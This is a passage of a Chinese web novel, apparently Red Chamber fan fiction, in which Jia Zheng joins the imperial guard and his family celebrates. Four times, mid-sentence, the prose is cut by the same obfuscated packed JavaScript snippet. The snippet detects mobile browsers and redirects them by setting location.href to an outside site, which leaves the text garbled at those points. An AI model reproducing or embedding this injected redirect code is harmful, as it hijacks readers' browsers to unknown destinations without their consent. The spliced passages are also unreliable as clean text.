贾政便把自己的处理办法说了一遍,“欠条我早就烧了,他家有族侄在国子监读书,跟我妹夫是同班,如海会帮我留心的。” 卫胜青点头,“首尾处理干净了就行,赌场那边的事顺天府也审着呢,唉,败家娘们谁家还没几个了,龙子凤孙都不能避免,何况是我们。” 贾政知道他说的是谁,五皇子要另立郡王妃的奏请被前朝官员挡了回去,以后还不知内宅会如何缠磨呢。 王氏心思再多,在太太手下也翻不出大浪来,还有老爷支撑门户守护全家,王氏想祸害荣国府还早着呢。 五皇子司徒衡就不同了,皇上心思难测,不坑他就算不错了,又没有母亲护持,后宅还有个居心叵测的老婆,他明明是皇子,天潢贵胄怎么会惨成这样? 太医诊过脉,留下两瓶活血袪淤的药膏便告辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958457|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 卫胜青几人这下是真的惊到了,跟御前侍卫的高手正面过招,只两瓶药膏就打发了,贾政的武力值高得过分了吧。 卫胜青凑上前,捏了贾政肩膀几下,又要往腰上捏,贾政赶忙出手格挡,腰是男人的要害,上司的上司也不能随便碰啊。 卫胜青咦了声,加快速度又伸手去探,贾政只能再次出手格挡,两人快速对了几招,又同时收手,难以置信的看着彼此,惊诧对方的手速之快。 刘井生三人张大嘴巴,不可思议道,“卫队的手速是我们十六队最快的,贾政你是跟谁学的?怎么练出来的?” 贾政心说我是卧底小偷团伙时练的,可我能说出来么。 他笑道,“我小时候曾救过一个游方道士,他教了我一套腿法,手速也是按照他教的方法练出来的,用手指夹黄豆,先夹稳,再增加速度,最后设置障碍,我只练到速度,遇到障碍就不行了。” 几人看着贾政,眨眼再眨眼,半晌后洪亮才有些艰难的开口,“那啥,贾政啊,你有没有想过,那位道长或许不,不简单。” 贾政心中暗笑,看来他们已经听出训练方法不对劲了,表面却维持着好孩子的笑容,不在意道,“混江湖的哪有简单人,我说要把他举荐给老爷当幕僚,然后他就不见了。” 刘井生抚掌大笑,“妙啊,太妙了。” 卫胜青笑着摇头,“荣国公在江南抗击倭寇,屡立奇功,那些个小鬼听说要见真神,能不跑嘛。贾政,你回家歇着去吧,明早辰时去城西侍卫营报道,没有护卫差事时我们每天都是这个时辰晨练,不要迟到了。” 贾政向几人告辞,走出侍卫处大门就看到老爷和蒋璁站在檐下,两人脸上都带着笑意,不知在说些什么。 “蒋大人,老爷。”贾政唤了声,在两人同时看过来时下意识挺直身板,差点敬个礼。 两人都笑了起来,蒋璁点头道,“不错不错,有老国公和你父亲的风采,在御前磨练几年,荣国府又要出个大将军了。” 贾代善也笑道,“我可不敢奢望,他能照顾好自己,在三品上致仕我就知足了。” 蒋璁拿手点着贾代善,笑骂道,“我算是看出来了,你小子还是小时候那样,有什么好的都喜欢藏着,我们还当你溺爱孩子,说起来就替你愁得慌,你可倒好,把儿子教好了才放出来,看着我们傻眼你再偷着乐是吧。” 两人打趣几句,蒋璁又提醒贾政晨练不要迟到,贾代善就带贾政告辞出宫了。 父子俩沉默着走出内朝,荣国府的大马车已经在承天门外等着了,贾敏掀起车帘一角对两人招手,脸上的笑容藏也藏不住。 贾政扶老爷上了车,才问道,“小妹,你怎么出来了?” 贾敏双眼闪亮亮的,盯着贾政身上的飞鱼箭袖打量个没完,笑道,“这身衣服二哥穿得好威风,我们接到老爷报信,说你被皇上钦点进羽林卫了,太太乐得坐都坐不住,我要是不来,太太就亲自来了。” 32.第三十二章 回家 听说太太这样高兴,贾政心中温暖,也笑了起来。 抛开原著看贾母,她对小儿子的呵护宠爱可称得上慈母典范了,就算明知他不堪大用,还是殷殷期望儿子能成才,见不得他受半点委屈。 贾代善只是含笑点头,并未说什么,等马车出了大明门,他才绷不住了,一巴掌拍在贾政肩上,大笑道,“好小子,不愧是我儿子,哈哈。” 贾政正复盘在皇上面前说的话,冷不防被拍得一栽歪,见老爷笑得眼睛都眯成一条线了,心里这才放松些许。 “老爷,我在殿上没说错话吧?” 贾代善愣了下,没好气道,“我还当你不知道害怕,先驳了南安郡王,又跟三皇子讲究个没完,一句赶一句,都不带停的,我从前怎么不知道你这么能说。” 贾政无奈道,“我又不是长舌男,家里没人给我委屈受,有什么好说的。老爷快跟我说说,我可有做得不对的地方。” 贾代善瞪了倒霉儿子一眼,没受委屈就不说话了,跟父母也没话可说么,你个不孝子。 他哼了声,又绷不住笑道,“皇上能钦点你进羽林卫,就是欣赏的意思,否则这会子我们父子俩就得一起受罚了。政儿你要记住,想让帝王信任你,就不能有太多私心,只要心中坦坦荡荡,再言辞谨慎些,就不用担心御前奏对会出差错。” 贾政点头,就是别人的事要敞开了说,涉及到自身就保留着说呗,这样看来皇上臣子和老板员工也差不多,区别只在于打工人做错事顶多丢饭碗,臣子说错话则会丢掉小命。 贾敏见父兄表情严肃,她脸上的笑容也渐渐淡了下来,慌张道,“是发生了很严重的事吗?我只知道二哥被召到宫中,得了皇上青眼点入羽林卫,二哥你为什么会被召进宫啊?” 贾政被问得一愣,此时才反应过来,从跟王子腾打架到召进皇宫,总共不到半个时辰,这么短的时间,皇上是怎么知道的? 见儿子面色凝重,贾代善好笑的摇头,“别紧张,就是赶巧了,皇上打发通政司的左参议去国子监调阅往年的荫生名册,他出来时正赶上你们打架,那家伙素来跟我不睦,回来可不得说一嘴你们扰乱治安么,皇上这几天正闲着,就当成乐子把你们宣进宫了。” 贾敏小脸吓得雪白,“二哥你跟谁打架了?你这脸上是被人打伤的?” 贾政也无奈了,“你才注意到我脸上有伤吗?是王子腾因为你二嫂的事找我麻烦,然后就打起来了。放心,你哥哥我打赢了,这点小伤不算什么,他只会伤得更重。” 贾敏怒道,“王子腾好生无礼,王家人做恶心事败坏我们家名声,不休了她就算不错了,他竟然还敢来找哥哥麻烦,真当我贾家好欺负么。” 她不了解王子腾的实力,最近又常见贾政练拳,只当他是练出成效,才打赢了王子腾。 贾政笑道,“管他呢,不靠家里我也能打败他,又借机得了个大好处,以后看谁还敢说我是纨绔。” 贾敏咯咯笑道,“原来二哥也知道自己是纨绔啊,我看进御前最大的好处就是不用再应付季考了吧。” 贾政拍手,“对啊,我都忘记还有季考了,哈哈,老子终于摆脱国子监了,让柳节他们继续熬着去吧。” 贾代善好想打人,怒道,“你个不孝子,多少人削尖了脑袋都进不去的地方,你小子不说好好念书,还整天逃学生事,要是在羽林卫还敢这么惫懒,就一总锤你。” 贾政和贾敏都笑嘻嘻对老爹做鬼脸,才不相信老爷舍得打他们呢。 贾代善哭笑不得,等到了家,刚在仪门前下了马车,又被炮仗声吓了一跳。 贾母见爷仨回来了,立即命人点燃了六挂大炮仗,噼里啪啦一通响,火药味直冲鼻子,红皮都崩到贾政头上了。 等炮仗放完,贾母又端了个笸箩上来,用里面的大红鲜花撒向贾政,笑道,“大吉大利,老天保佑我儿高升一品。” 两旁的家丁幕僚也齐声恭贺贾政,俱是喜气盈腮,贾家兄弟长子有爵位,次子进了御前,未来前程不可限量,荣国府福泽绵长,他们的生活才会越过越好,因此都笑得十分开心。 贾政也笑着抓起一把红花,在家人身上都洒了几朵,笑道,“也请老天爷保佑老爷太太福寿安康,大嫂小妹儿女双全,幸福一生。” 全家都笑了起来,贾代善笑道,“嗯嗯,我们都有福,全家上下再加两个月月钱,明天准备大宴,向二爷贺喜。” 众人谢过老爷太太,再次向贾政道喜,上下欢欣鼓舞,言笑鼎沸不绝。 欢笑着进了荣禧堂,打发石氏和贾敏去歇着,贾母才沉下脸来,拉过贾政细看他脸上的伤,哽咽道,“可还疼么?身上伤了几处?” 贾政吃惊的看着太太,他还以为她是兴奋过头了,原来在外人面前的开心都是装出来的,其实一直悬着心呢,大家主母果然不一般啊。 他笑着安慰,“只是擦了一下,本也不疼的,涂了太医给的药膏就没事了。” 贾母咬牙道,“那王子腾就是个打不死的野杂种,他妹妹给我们家丢了那么大的脸,他不说教训妹妹,反倒打上门来了。” 贾代善冷笑,“王家人要是明理,也不会把女孩儿教成那个样,太太放心,这件事不会就这么算了的。” 贾母又恨又气,眼泪不由掉了下来,哽咽道,“松烟押赖大回来,说政儿跟王子腾当街打架,被五城兵马司的牛大人带走了。我吓得不行,又担心政儿受了伤不肯让人看出来,正打发人去接,老爷又派人回来说政儿被钦点进了御前,如今可没事了吧?” 贾代善笑道,“你就是关心则乱,看他这身飞鱼箭袖,也知道没事了,我年轻那会儿都没穿上这一身,可见皇上有多欣赏我们政儿。” 贾母嗔了丈夫一眼,又对贾政道,“回翠香堂歇着吧,我命人把你的东西都搬过去了,以后东跨院就给王氏住着,只不亏待她就是了,你忙的时候就把珠儿送过来,正好给我做伴。” 贾政笑道,“那就麻烦太太了,以后每天要去侍卫营报道,还要轮班进宫职守,确实没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964738|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空照顾他。” 贾母又心疼起来,这时石氏身边的大丫头进来了,把手上的匣子交给鸳鸯,笑道,“这是我们奶奶送给二爷的贺礼,奶奶陪嫁的这个小院子刚好在侍卫营的后街,给二爷停车歇午觉也方便些。” 贾母立时笑了起来,对贾代善道,“我就说那孩子是个细心周到的,老太太看人再不会错的。” 贾代善也笑道,“回去跟你奶奶说,回头让二爷寻摸几样好东西向大嫂道谢。” 贾政也起身向大丫头拱手道谢,她笑着福身回礼,这便出去了。 贾母接过鸳鸯手上的匣子,拿出小院地契,笑道,“我还发愁你在侍卫营没个歇脚的地方,老大家的这就把院子送来了,要论挑媳妇的眼光,我确实不如老太太。” 贾代善叹道,“同王家结亲又不是你一个人的主意,我原是想着金陵四家知根知底的,亲上加亲总不会差了,哪想到会害了政儿,以后可离王家人远着些吧。” 贾母提起王家人就气不打一处来,冷哼道,“要不是为了珠儿,我岂能容下那毒妇,她不是喜欢念佛么,以后就让她在院子里清修吧,可别再出来祸害人了。” 贾政也觉得这是个好主意,又提醒道,“在家里便罢了,主要是防止她把手伸到外面去,第一次可以用识人不明来解释,要是再发生她倚强霸弱的事,我们可就要担上纵容内眷的罪名了。” 贾代善点头,“我儿放心,不会让她连累到你的。” 贾母也怜惜的揽着贾政,柔声道,“回去歇着吧,让松烟把身上的伤也涂了药,我这就打发人整理那院子去,管保明儿你就能住了。” 贾政告退出了荣禧堂,贾代善等儿子离开了,才冷下脸来,“赖家人都处置妥当了?” 贾母冷笑,“老爷放心,我请老杜把他们全家都送去庄子上了,敢背着我儿另投外人,他们也算活到头了,背地里还做过什么,相信老杜会审出来的。” 贾代善点头,“臣不密失其身,背主的奴才必须狠狠处置,才能让上下人等有所警醒。如今赦儿在内务府,政儿进了御前,家里更要加倍小心才是。” 贾母叹了声,“谁能想到赖家人能做出这种事呢,赖嬷嬷打小就跟着我,嫁的也是荣国府老仆,我只当她再忠心不过,谁想到会养出个背主的儿子来,住在贾家又牵着王家,他倒是会两头讨好处。” 贾代善冷笑,“另投新主也不找个好的,可见忠心只是表面功夫,自古脚踏两条船的人都是一个下场。” 贾政回到翠香堂,看到小床上香香软软的儿子,这才重重吐了口气,虽然过程乱七八糟,结果是好的就行。 想在武官中出头只有两条路可走,一个是通过武举入仕,一个是进入侍卫处,御前效力几年再外放领兵。 他对在马上战斗一窍不通,太太也不会允许他做危险的事,本想着能在京营府混个中级军官就知足了,进入御前可算得上意外之喜,说起来还得感谢王家兄妹,要不是他们能折腾,这等好事未必会落到自己身上。 33.第三十三章 改变 想到王氏,贾政又开始犯膈应,本来他对王氏的偏见就像一座山,偏她还往上堆土,生怕他把山推倒了似的,也不知图的是什么。 “啊,呀!”贾珠听到爹爹叹气的声音,揉着眼睛醒过来,看到贾政站在床边,立即笑出两个小酒窝,伸出小胖手让他抱抱。 傻爹乐开了花,抱起小宝贝怜惜的亲了好几下,王氏品行不端,受伤害最大的就是珠儿了,以后上学时要是被人拿她做的事嘲笑,珠儿得多可怜啊。 贾政磨牙,更坚定了不能把王氏放出家门的想法,有太太在,内眷外交轮不到她,等到二房分家另过的时候贾珠也得有三十好几了,把内宅交给儿媳妇,对外就说她体弱需要在家修养,相信时间会让人淡忘那些事的。 哄了会儿贾珠,把他交给奶娘,贾政换下飞鱼箭袖,又叫来松烟,“今后赖大的差事就由你接了,你跑趟国子监,把我入职御前的事告诉如海谢鲲几个,别让他们惦记着。” 刚才他没在太太身边看到赖嬷嬷,又有个二等丫头换上了琥珀的装束,看样子赖家是彻底失势了。 对太太而言小儿子和小女儿是她的底线,谁敢触碰必将引来雷霆之怒,哪怕多年心腹也不能例外。 想到荣国府未来最大的蠹虫就这样完了,贾政就止不住的开心。 松烟比贾政还高兴,呵呵笑着磕头感谢主子提拔,又道,“林少爷他们要是知道二爷成了羽林卫,只会更惦记吧,尤其是柳少爷和谢少爷,肯定想知道二爷是怎么得皇上青眼的,他们也好如法炮制啊。” 贾政想了下把两个朋友也拉进羽林卫的好处,柳节出身理国公府,谢鲲出身定城侯府,他们同是勋贵出身,利益一致又性情相投,能在羽林卫中互为膀臂也不错啊。 “你背着人跟柳节和谢鲲说,容我先探探路子,等摸清御前虚实,我们再做计较。” 松烟答应着出去了,贾政坐在窗前矮榻上吃茶,复又想起在文华殿的经过。 皇上将四个儿子和四位郡王,以及六部大佬都叫到跟前,总不能只为了吃瓜笑话他吧,肯定是有大事商议,才会招集这么多人。 朝堂上的事问老爷也没用,尤其他马上就要去御前当差了,更不会说出高层秘密商议的事,万一他说漏了嘴可不是玩儿的。 贾政叹气,这就是人脉太少的坏处,就像刚入职的打工人,对工作和部门一无所知,凡事都要靠自己摸索,上司同事关系和谐还能照顾一二,遇到那喜欢内卷内斗的,新人就是专职背锅的。 他想了遍文华殿里的人,四位郡王除了南安郡王与自家关系冷淡,其余三位都会照顾他。 老爷很快就要成为兵部三把手了,林如海老爹是户部二把手,敬大哥哥在礼部,吏部工部刑部也有自家故交,包括侍卫处的老大都与老爹交好,有这么多长辈护持,敢在御前找他麻烦的人不会有,能互通有无的人脉也没有一个。 贾政倒在靠枕上,刚要长叹一声,脑海中突然浮现出司徒衡闪亮的双眼。 打从走进文华殿,他就一瞬不瞬盯着自己,那双眼睛好似有千言万语,却没办法说出来。 “是在担心我吗?”贾政喃喃,随即又叹了口气,他们都曾帮助过彼此,要不是司徒衡身份特殊,没准能成为不错的朋友。 可现实就是现实,他可不敢提着全家人的性命去结交皇子,哪怕没有别的想法,只单纯欣赏他那个人也不行。 说到欣赏,贾政又笑起来,原著说贾宝玉是不因俊俏难为友,正为风流始读书,其实他也一样,只接触过两回,话都没说过几句的人,就因为司徒衡长相俊美,就觉得人家是可结交的好人,这也太主观了吧。 其实皇上的四个儿子长得都不错,先帝起家前是乡绅小地主,先皇后也是村花级别的美女。 当今的皇后宠妃都是大美人,后代又能丑到哪里去,最平凡的七皇子也是眉目清秀,气质和林如海还有几分相似。 贾政顿了下,越想越觉得两个人很像,都是一副昭昭朗朗,霁月光风的样子,所以他们是朋友吗?又是在什么时候有过接触的? 他正琢磨着,贾赦像只大猴子似的窜了进来,也不看贾政,只围着挂起来的飞鱼箭袖又叫又跳。 贾政傻眼的看着他,这人是要现出原型了吗,原著中贾大老爷蠢成那样,是因为他是猴子变的? 贾赦兴奋够了,才发现弟弟端着茶盏,一动不动盯着自己,他嘿嘿傻笑,“那啥,我是太高兴了,小时候在宫里看到羽林卫这身官服,我就羡慕得不行,为此还认真练过几天武,因为坚持不下去只能放弃了。政儿你能穿上这身衣服也是一样的,哈哈,以后我们家在御前也有人了。” 贾政给他倒茶,笑道,“内务府也是御前啊,衙门比侍卫处还要靠近内朝呢。” 贾赦摆手,苦着脸道,“快别说内务府了,甄伯父和水大人正交接工作呢,下头的人就分成好几派了,过去不得志的人都投了水大人,想一举把甄伯父的心腹压服,那些人哪能服气,两拨人斗得那叫一个热闹,还有敲边鼓的,站干岸的,内务府快乱成一锅粥了。” 贾政轻笑,“权力交接时都这样,大哥你也只管在岸上看着,有人想拉拢你就装傻充愣搪塞过去。” 贾赦叹气,“你放心,不会有人拉拢我的,跟那些久在官场上混的老油条比,我是真的又傻又愣,拉拢过去也没用。” 贾政喷笑,差点伸手摸他头毛,要不是亲眼所见,谁能想到赦大老爷年轻时这么可爱呢。 “那通政司呢,甄伯父也兼着通政使,那边不用交接工作吗?” 贾赦嘿了声,刚想说话又闭上嘴,左右见屋里没有旁人,才伸过头,压低声音道,“我也是这两天才知道的,甄伯父在通证司不过挂个名,其实权柄都在当今手上呢,随便指个人提上来,下头的人连牙都不敢呲一下。况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971224|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且最近那边查出一件大事,上下都缩着脑袋,生怕牵扯到自己呢。” “大事?”贾政也学着他的样子探过头,兄弟俩像特务对暗号似的。 “对,大事。”贾赦双眼闪烁着八卦的光芒,“薛叔你知道吧,他和右通政在江南查出个大案,一路被人下毒追杀,丢掉半条命才逃回来,在城里惊了马,还是你救下来的。” 贾政想起救人时,羽林卫和东宫车驾的当街对峙,抽了口气道,“难道查出来的事与太子有关么?” 贾赦摇头,“刘大人说应该不会,太子有皇上盯着,很难把手伸到江南去,顶多跟他身边的人有关,只要牵扯不到太子身上就没旁人的事。薛叔立下大功,皇上问他想要什么奖励,薛叔就提出想为长子求娶一位宗室女,皇上已经允了。” “嗳?”贾政惊了下,薛伍的长子薛圳娶的不是王家二小姐么,怎么变成宗室女了,那薛宝钗又要由谁生出来? 贾赦呵呵笑道,“有什么好惊讶的,薛王两家先前不过是有结亲的意向,王家那些人你还不了解么,别看跟我们家结亲时答应得痛快,对薛家摆的谱可大着呢。现在出了王氏那个事,谁还敢娶王家姑娘啊,况且薛家求娶的可是宗室女,王家就算生气也不敢说什么。” 贾政点头,薛家在前朝就是富商,现今长房在京里当官,二房领内务府帑银做皇商,其余几房也各有生意经营,可说是富甲一方,如今再攀上宗室,薛家这是要摆脱败落的命运了吗? 呃,也不一定吧,他们要是卷进夺嫡之争里面去,该败还是得败,宗室都是皇家远亲,也就名号听着唬人,皇上处置他们连眼都不带眨一下的。 “还有,大哥你知道林如海和几位皇子的关系吗?”贾政发现贾赦是个八卦小能手来的,他自小在京都长大,应该比自己更了解林家吧。 “林家小子?哦,他做过七皇子的伴读,当年林叔诗才冠绝京都,皇上就让他担任七皇子的启蒙老师,林小子也跟着在弘文馆读过几年书,两人算是师兄弟的关系,你怎么突然问起这个了?” 原来如此,贾政恍然,“没什么,今天见到七皇子,就觉得他的气质和如海有点像,才随口问了句。” 贾赦笑道,“都是一个老师教出来的,当然像啊,林叔也总是一副清冷又文雅的样子,我见到他都不敢说话,生怕他突然蹦出一句诗词,然后考问我出处,我要是个会读书的,还用二十好几了才七品,在内务府当个跑腿么。” 贾政也笑了,“跑腿怎么了,那可是内务府,谁刚工作不是跑腿呢,我别看上来就六品,在羽林卫的品级也是最低的,站岗都是站边角那种。” 贾赦哈哈大笑,“没事,我们还年轻呢,慢慢来呗,听老太太说,老爷进京营府时也是打从七品小校做起的,我们比他强多了。” 贾政还真不知道这件事,国公府唯一的嫡子刚进军营时才从七品,老爷可真够惨的。 34.第三十四章 生辰 “哦,对了。”贾赦又想起一件事,“下个月是大姐生辰,你准备好生辰礼就跟你大嫂说一声,我们一总打发人送过去。” 说完他小心翼翼看着贾政,生怕他会反对。 贾政差点被他小狗一样的表情逗笑,“知道啦,太太把李平家的提成了二房内管事,以后有什么事直接跟她说就行。” 原身自成亲以来,人情往来都是贾母帮忙打理的,看贾赦的样子,她应该是没打算让爱子跟三个庶女来往,连最基本的生辰礼都不准备,可见厌恶之深。 贾赦松了口气,笑道,“我还以为你会反对呢,我知道你一直不喜欢庶出的几个妹妹。” 贾政哼了声,“她们的姨娘总给太太添堵,我为什么要喜欢她们。” 原身对庶出姐妹的态度淡漠,贾政不想替他背锅,只能推到争风吃醋上头。 贾赦没想到他会给出这个理由,脸色不由讪讪的,内宅妇人哪有不吃醋争男人的,太太虽受了些委屈,也不能怪在姐妹身上啊。 “那啥,那都是过去的事了,三个妹妹的姨娘年纪都大了,二妹妹的姨娘还不在了,我们是同胞手足,哪有跟自家姐妹怄气的道理。” 贾政叹了声,“行吧,听大哥的,我回头就让李平家的去问大嫂,把几个姐妹的生辰礼都备上。” 见弟弟这么给面子,贾赦笑开了花,“对嘛,这才是手足间的相处之道,你歇着吧,我这就安排大妹妹的生辰礼去,三妹妹生日在九月,也得预备上了。” 贾政忙命松绮去找李平家的,让她跟大哥商量生辰礼的事,等人都出去了才松一口气。 他才穿越到红楼世界一个多月,自认从没主动做过什么,只是按照自己的想法过日子而已,没想到会造成这么大变化。 宁荣两府的下人放出去小半,多年痼疾有所缓解,家里也安静严整多了。 未来的硕鼠赖家也彻底被太太厌弃,再没有拿贾家钱财盖园子的可能,看到赖家那些人的下场,相信其他下人都会安守本分,不敢再做出格的事了。 薛家求娶宗室女,相当于给长子预定了官职,就算薛圳喜欢做生意,宗室也不会允许他当皇商,给所有人丢脸的。 薛宝钗有了出身宗室的母亲,就算他生出贾宝玉,人家也看不上了。 还有林如海,原来他和七皇子是师兄弟的交情,这样看来下任帝王有八成可能就是七皇子了,因此林如海才能成为巡盐御使,并且一干就是两任。 也证实了他之前的猜测,贾家可能真是因为养死了林黛玉,才被皇上干掉的。 人家为了护住好友遗孤,捏着鼻子封贾元春为妃,贾家却把孩子养到夭折,肯定气炸了好吧。 贾政笑了起来,如果宁荣两府败落的主因是林妹妹,反倒好办了。 首先,他会尽量保护妹妹妹夫,不会允许他们中年丧子又丧命,就算做不到,只要不生出贾宝玉,再盯紧王氏,没有这两个人干扰,黛玉夭折的可能性至少能减去七成。 往后他和大哥认真工作,别卷到储位之争里面去,相信皇上也不会拼着败坏名声一定要治他们的罪。 看着窗外正抓花玩儿的贾珠,贾政在心中感叹任重道远,贾家的爵位再传两代就到头了,想要永远保持士族地位,教育好子孙才是最关键的。 凭贾家的脸面,后辈只要考上秀才就能混个末等小官当,总不至于沦落到任人欺凌的境地去。 这时,一队人走进院子,打头的是太太身边三个嬷嬷,后面跟着十来个大小丫头,俱是笑盈盈的。 她们向贾珠福过身,才笑着打帘子走进屋里。 松茗正倚在门口的竹椅上打嗑睡,被帘子声惊醒,就看到一群女人瞪着自己,吓得他赶忙窜进贾政那屋。 “爷,张嬷嬷她们找上门了。” 张嬷嬷是贾母陪房中最后一个得用的人,嘴乖舌滑的赖嬷嬷一去,她就成了太太最倚重的管事嬷嬷。 带人随着松茗走进屋,她先对贾政福身行过礼,才点着松茗道,“让你侍候爷,你反倒打盹受用起来了,回头就让你娘锤你。” 松茗苦着脸蹭到贾政身边,拼命发送可爱光波,求主子救自己一命。 贾政笑道,“我又没事可做,不打盹做什么。张嬷嬷请坐,可是太太有事交待么?” 张嬷嬷笑着谢了坐,“太太说二爷身边无人可用,我还当是心疼二爷才多担心了几分,没想到翠香堂是真的没几个人,松烟他们哪里去了?” “我打发他去国子监了,小幺儿们陪顺风玩儿呢,清清静静没什么不好的。” “那怎么成,大家公子身边哪能没人照顾。”张嬷嬷笑着指着六个丫头,“这是太太亲自教导出来的丫头,命我送过来服侍二爷呢。” 贾政早料到会有这么一天,王氏和周氏都被关在院子里,他身边不可能连个通房丫头都没有。 虽说长辈赐不可辞,但收不收用就是他的自由了,太太再强势,也不能盯着他行房事吧。 贾政站起身,向张嬷嬷笑道,“代我谢谢太太,这会子天热,就不去扰她清静了。” 又对六个丫头拱手,“以后要有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975620|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劳几位姐姐了,翠香堂的事等松烟他们和李平家的回来,你们商量着办即可。” 六人跪到地上,向贾政行叩拜礼,请新主子赐名,认主之后她们的终身都要由贾政说了算了。 贾政窘了下,连忙叫起,翠香堂连个跪垫也没有,简陋到都不像国公府了。 他不懂家里的事,松烟几个小子也马虎,要打量这么大的院子,贵族之家规矩又多,确实得有几个细心的丫头。 “我的小厮都以松字开头,你们也一样,就以琴棋书画礼乐为名吧。” 丫头们按地位自动认领了名字,两个大丫头是松琴和松棋,四个小丫头是松书,松画,松礼和松乐。 她们再次福身谢过贾政,张嬷嬷见主仆相处和谐,也便笑着告退了。 送走张嬷嬷,贾政让丫头们安排自己的事去,他这里不需要服侍,以后西屋布置成书房,他不叫人就不准进来。 丫头们都是在太太身边长大的,早知道二爷素来冷淡古板,加上今日刚来,正是卖乖讨好的时候,于是便福身告退,不敢违逆主子的话。 贾政等人都出去了,才以全新的眼光打量翠香堂,先前是为了带贾珠避暑,才临时搬到这里,现在却要变成长住了,他一个大男人住在花园子里,这是要代替贾宝玉体验大观园的生活么? 被自己的想去逗笑,贾政走出屋,打量整个院子。 翠香堂是花圃中心的独立小院,正房三间配耳,前院只有东厢房,西边种了一株绿桂树,亭亭如盖,树冠铺满了半个院子,因此才叫翠香堂。 后院东西厢房俱是全的,还从墙外引水种了一池香蒲,开得黄粉紫红,甚是热闹。 这么大的院子,住他们父子很是宽敞,再加上十多个下人就有些挤了,贾政盘算怎么把人分流一下,男女有别,总不能在一个院子里挤着吧。 他正思索松烟他们以后住在哪里,贾珍又窜了进来,直接冲进屋里扑到飞鱼箭袖跟前,嗷唔嗷唔直叫唤。 贾政心说这都什么毛病,贾演贾源两兄弟是造了多少孽,才养出这些东西。 他走进西屋,斥道,“叫唤什么,你不是正打点行李,过几日就要回老家了吗?” 贾珍激动得话都说不清了,“我我我,我的小叔,这是真的吗?你真当上羽林卫了?飞鱼箭袖和忠靖冠不是你抢来的对不对,绣春刀呢,给我看看。” 贾政好想踹他一脚,“说什么胡话呢,我要是敢抢到御前,这会儿五城兵马司就得来抄家了。绣春刀不能给你这猴儿看,你消停点吧,有什么事坐下再说。” 35.第三十五章 提醒 贾珍自从被贾政打了一顿,在他面前就听话得很,乖乖坐到矮榻上,开心的嘿嘿傻笑,“小叔你太厉害了,以后我就可以跟人说我小叔的本事冠绝天下,被皇上钦点在御前当差,我也是个有本事的,跟小叔交手时只是稍落下风。” 贾政好笑的摇头,难怪这小子这么兴奋,原来是找到吹牛皮的新素材了。 “你可以现在就到外面说去,让越多人知道越好,等你离了京都,肯定会有很多游侠来找你切磋武学的,回乡这一路就不会无聊了。” 贾珍想象自己被一群衣着破烂的大汉围殴,差点吓麻了,“不,不至于吧,我可是国公府的少主子,那些游侠还敢来找我打架不成。” 贾政冷笑,“国公府又怎样,天高皇帝远,打了你再往远处一躲,朝廷还能为这点小事发海捕公文么。” 贾珍小嘴一瘪,委屈道,“小叔你就知道欺负我,你说我从现在开始习武,有希望像你这么大时当上羽林卫吗?” 贾政没想到能听到这样的话,小孩子愿意上进是好事,他却有些迟疑。 贾珍不是个安分的,若他长了本事,是会振兴宁国府,还是让宁荣两府衰弱得更快,还未可知呢。 “小叔。”见贾政面露难色,小少年有点受伤。 贾政笑道,“祖父和大老爷跟随先帝边打仗边习武,也能赚两个国公爵位回来,可见我们家都是有习武天赋的,你要是能勤学苦练,五六年时间肯定能练出成绩,至于能不能进入御前,就不是我能说的算了。” 他说不出打击孩子的话,却可以让他知道习武的艰难和受苦的时长,提醒贾珍想达到御前标准不是一朝一夕就能成事的。 这下换成贾珍为难了,勤学苦练四个字可是纨绔的天敌,家里不缺资源不缺名师,他要是能下苦功,早就成一方高手了。 他叹了口气,恹恹道,“我爹让我来传话,今晚在宁国府摆家宴,庆祝小叔当上羽林卫。他说羽林卫是皇上亲卫,行事向来克己低调,我们家也不宜太过张扬,就把族人都叫到家里,全家庆祝一下。” 贾政这下是真开心了,他刚才还担心太太兴奋过头,广邀宾客闹腾得全京都无人不知,能被敬大哥接手再好没有了。 